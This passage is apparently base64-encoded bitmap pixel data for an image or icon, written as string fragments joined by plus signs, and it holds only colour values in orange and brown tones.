c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc/+8fFL/vHxS//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//imb//IgVj/llxA/4pTOv+KUjr/ilI6/4lS + Ov+KUzv/ilI6/4lSO/+KUjv/iVI7/4lROv+JUTn/iVE5/4lSOv+IUTn/iVE6/4hROv+IUDn/iFA5/4hQ + OP+IUDj/iFA4/4hQOf+IUDj/h084/4hPOf+HTzj/h084/4hPOf+HTzj/iE86/4dPOf+HTzj/h044/4hP + OP+ITzj/h044/4ZNOP+GTjj/hk44/4dOOP+GTjj/hk04/4ZNN/+GTjf/hUw3/4ZNOP+GTTj/hUw3/4ZN + N/+GTDj/h044/31COP94Ozj/qnUy/+u1Iv/wuSb/3agp/9ynK//eqCr/3agq/92oKv/dqCv/4qc3//yr + bf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz/7x8Uv+8fFL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/+GV + Zf+1c0//i1Q7/4tUOv+MVTv/i1Q7/4tUO/+LVDv/i1Q7/4pUO/+LVDv/ilM6/4pTOv+KUzz/i1M6/4pT + Ov+KUzr/iVI6/4pTO/+JUjv/ilI7/4lSOv+KUjv/iVI6/4lROf+JUTn/iVE5/4lROv+JUTn/iFA5/4hQ + Of+IUDj/iVE5/4hROP+ITzj/iFA5/4hPOP+HTzj/04le//CgbP+YXED/iE85/4hQOf+HTzn/h045/4dO + Of+HTjf/iE84/4dON/+HTjj/h045/4ZOOP+HTjj/h045/4ZNOP+GTTj/h085/4NJOf90NTn/kVs5/8+b + Lv/vuSz/77kl/+OtKP/fqir/4Kso/+CrKP/gqyj/4Kos//erX///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/vHxS/7x8 + Uv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/6Jpo/8F+Vf+WXkH/jVc8/41WO/+MVTv/jFU7/4xWO/+MVTv/jFU7/4xV + PP+LVTv/jFU8/4tVO/+MVTz/i1Q7/4tUPP+MVTv/i1U7/4pUO/+KUzv/ilQ7/4tUO/+KUzv/ilM6/4pT + Ov+KUzr/ilM6/4pSOv+JUjr/ilI6/4lSOv+KUjv/iVI6/4lSO/+KUjv/ilI7/4lROf+JUTn/qGlI//Oi + bf//q3P//6tz//+rc/+/elT/iFA4/4hQOP+IUDn/iFA5/4hQOf+IUDn/iE85/4hPOf+ITzn/iFA5/4hQ + Of+HTjn/h044/4dON/+HTjj/iE83/4hPOP95PTj/ej04/6ZxNf/Xoiv/8Lot/++6L//stST/5a8n/+Ot + Kf/krij/460p/++sSf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc/+8fFL/vHxS//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//mmcP/bkWL/uXdR/5ZeQf+OVzz/jlg9/41X + PP+OWD3/jlg9/45XPP+NVzz/jVc8/41XPP+NVzz/jVY8/4xWPP+NVjz/jVY7/4xVO/+NVjz/jFY7/4xW + PP+MVTv/jFU8/4tVO/+MVTz/jFU8/4tVPP+LVDv/jFU7/4tVO/+LVTv/i1Q6/4tUO/+KVDv/ilQ7/4tU + O/+KUzr/ilM6/4pTOv+KUzr/oGNF/+eZZ///q3P//6tz//+rc///q3P//6tz//+rc//1o27/r29M/4lS + Ov+JUTr/iFE5/4hROf+JUjr/iFA6/4hQOP+IUDj/iE84/4hQOf+IUDn/iFA4/4hQOf+HTzn/h084/4lR + Ov+ESzj/eDo5/39EN/+fajX/yZUx/+q0JP/vujD/77o0//C6MP/vuSX/7LUn/+qxLv/6rWH//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/7x8 + Uv+8fFL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//xoWz/xIFX/6dr + Sf+XX0L/kFo9/5BaPf+QWz3/j1k9/5BaPf+PWT3/j1k9/49ZPf+PWT7/jlk9/45YPP+OWD3/j1k9/49Z + Pf+OWD3/jlg9/45YPf+OWD3/jlc9/41XPP+OVzz/jlc8/41XPP+NVzz/jVc8/41XPf+NVz3/jFU7/4xV + O/+MVjz/jFY8/4xWPP+LVTv/i1U7/4tVO/+MVTz/jFU8/4xVPP+LVDv/q2xK/+eZZ///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/8qFt/7x5U/+MVDz/iVI6/4lSO/+KUjv/iVI7/4lS + O/+JUTr/iVE6/4lROf+IUTn/iFE5/4lROv+IUTr/iFA5/4hROP+JUTj/hUw5/3k8Of96Pzj/jlc5/6Rv + Nf+/izT/16Iu/+mzJf/wui3/77oy//C7Nf/0t0b//K5o//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/vHxS/7x8Uv//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//Oibf/Hg1j/pmtI/5FcPv+RXD7/kVw+/5FbPf+RXD7/kFo9/5Ba + Pf+QWz3/kVs+/5BaPv+QWj7/kFo+/5BaPf+PWjz/j1k9/49ZPf+PWT3/j1k9/49ZPv+OWT3/jlg8/45Y + PP+OWD3/j1k9/49ZPf+OWD3/jlg9/41XPP+OVzz/jVc8/45XPP+NVzz/jVc8/41XPP+NVjz/jVY8/4xW + PP+cYUP/xoBX//CgbP//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//qocf/WjF//r3BN/41WPP+KUzr/ilM6/4pTOv+KUzv/ilM7/4pTO/+JUjr/iVI6/4lS + O/+JUjr/iVI7/4lROf+JUTn/iVE5/4hQOf+BSDj/ej05/3k9Of+CSDj/j1g6/51oNv+nczX/r3s2/7SB + Nf+9iTX/6Z9h//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c/+8fFL/vHxS//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz/+udaf/OiFv/unlR/6ZrSP+TXT7/kVw+/5JdPv+RXD7/klw+/5FcPv+RXD7/kFs9/5Fc + Pv+QWz3/kFs+/5BbPv+QWj3/kFo+/5BaPv+QWj7/kFo+/5BaPv+PWj3/j1o9/5BaPv+PWT7/j1k9/49Z + Pf+OWT3/jlg8/45YPP+OWDz/kFo9/6lsSf/Df1b/55po//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/+qhx/9qP + Yf++elP/qWtK/5RaP/+MVTv/i1Q7/4pUO/+LVDz/ilM6/4pTOv+KUzr/ilM6/4pTOv+KUjr/ilI6/4lS + Ov+JUjr/iVE6/4dPOf+FSzv/llZF/6hkTf++dlf/3pBl//Wjb//7qHH//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/7x8Uv+8fFL//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//el + b//ilmX/zohb/7t7Uv+qbkv/nGRE/5NdPv+SXT3/klw+/5JdPv+RXD7/kVw+/5FcPv+RXD3/kVw+/5Bb + Pf+RXD7/kVs9/5FcPv+RXD7/kFo9/5FbPv+QWz7/klw//59lRf+xck7/xoJY/9+UZP/5pnD//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//qpy/+ydav/bkGL/zYZb/8F9 + Vf+4dVH/snJO/65uTP+tbUv/rm5M/7FxTv+3dVH/wXxV/8yEWv/YjmD/6Jlo//mncP//q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P/vHxS/7x8Uv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//+qnP/9aRu/+yd + av/lmGb/3JJi/9SMXv/Nh1v/yIRY/8SBV//CgFb/wn9V/8OAVf/Gglf/y4Za/9GKXf/akGH/45dl/+yd + av/3pW///6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc/+8fFL/vHxS//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//xoWz/4ZVk/96TY//nmWf/+adw//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz/7x8Uv+8fFL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//Oj + bf/EgVf/oGdG/5JdP/+RXD3/kVw+/5FcPv+SXD7/rnBL/9iPYP//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/vHxS/7x8Uv//q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//KhVr/k14//5NeP/+SXT7/k14//5JdP/+SXT3/k14+/5Jd + Pv+SXT7/kVw+/5xkQ//nmmf//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc/+8fFL/vHxS//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/sXNM/5Nf + Pv+TXz//k18+/5NfP/+UXz//lF8//5NfP/+TXj7/k18+/5NePv+SXT7/k14//5NeP//PiVz//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/7x8Uv+8fFL//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz/7R3T/+VYkD/lWFA/5VhQP+VYT//lGA//5VhP/+VYED/lWFA/5Vh + QP+TXz//lF8+/5RfP/+UYD//lF8//5RfP//OiFv//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/vHxS/7x8Uv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//Ri1z/lmNA/5dj + QP+XY0D/lmJA/5ZjQf+WYj//lWI//5ZiP/+VYkD/lWJA/5VhP/+VYT//lGFA/5RgPv+VYT//lWBA/5Rg + P//kmGb//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc/+8fFL/vHxS//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/9qVv/51oQf+YZUD/l2Q//5hlQP+XZED/mGQ//5hkP/+XYz//l2RA/5dk + QP+WY0D/lmI//5djQP+WY0H/lmJA/5ZjQf+WY0H/lWE//6txSf//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz/7x8Uv+8fFL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//Ujl3/mmdA/5pn + QP+ZZj//mWZA/5lmQP+ZZkD/mGVA/5lmQf+YZT//mGVA/5hlP/+YZUD/l2RA/5dkQP+XZED/l2Q//5dk + P/+XZED/l2M//9+VY///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/vHxS/7x8 + Uv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz/7h8T/+baUD/nGlA/5toQP+aaD//mmg//5poQP+aaED/mmhA/5to + QP+ZZ0D/mWc//5pnQP+ZZkD/mWZA/5pnQP+ZZkH/mGVA/5hmQP+YZUD/unxQ//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc/+8fFL/vHxS//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//9qnL/pnFE/5xq + QP+cakD/nGpA/5xqQf+baT//nGk//5tpQP+baUD/m2lA/5xpQP+baD//m2g//5toP/+aaD//mmdA/5po + QP+aaED/mWZA/5lnQP+kbkT//apy//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/7x8 + Uv+8fFL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//Wlbv+gbUL/nmxB/55sQP+dbED/nWtA/55sQf+daz//nWtA/51r + QP+ca0D/nGpA/5xqQP+cakD/nGpB/5xqQf+cakD/nGlA/5xpQP+caUH/nGlA/5toQP/zo23//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/vHxS/7x8Uv//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/9KRt/59u + Qv+fbkH/n25B/59tQf+ebUH/nm1A/55tQf+fbUL/nm1B/55tQP+ebED/nmxA/51sQP+ebEH/nWtA/51r + P/+dbED/nWtA/5xrQP+cakD/nGpB/++ha///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c/+8fFL/vHxS//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//8qXH/qXZH/6BwQv+gcEL/oG9D/6BvQf+gb0H/oG5B/6Bv + Qf+gbkL/oG5C/59uQf+fbkH/n25B/55tQf+fbUH/nmxB/55tQf+ebEH/nm1A/59tQP+ebEH/8qNs//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/7x8Uv+8fFL5/apy//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c/+5gE//onJD/6JyQ/+ickP/onFD/6FxQf+icUL/oXBC/6FxQv+hcUL/oXBC/6FwQ/+gb0L/oXBC/6Bv + Qf+gbkH/oG5B/6BvQv+fbkL/n25C/6ZzRf/7qXH//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//9qnL/vHxS+bx8Uuz6p3D//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/9KQXf+jc0T/pHRE/6NzRP+jc0T/o3NE/6Nz + RP+jc0X/o3ND/6NzQ/+ickP/o3JD/6NyQ/+icUP/oXFD/6FxQv+hcEL/oXBC/6FwQv+hcEL/vIFR//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//qncf+8fFLsvHxS0/Ojbf//q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P/8KJs/6Z2Rv+ldUb/pXZG/6V1Rf+ldUX/pHVF/6R0Rf+kdEX/pHRF/6R0Rf+kdET/o3NE/6Nz + RP+jc0T/pHRE/6NyRP+jc0T/onJD/6JyQ//clmH//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P/86Nt/7x8UtO8fFKs6Jto//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/zI1Z/6d4R/+md0f/p3hH/6Z3 + R/+md0b/pndG/6V2Rv+mdkb/pnZG/6V1Rv+ldkb/pXVG/6V1Rf+ldUX/pHRG/6R0Rv+kdEX/sXxL//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//om2j/vHxSrLx8UnnZkWD//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + 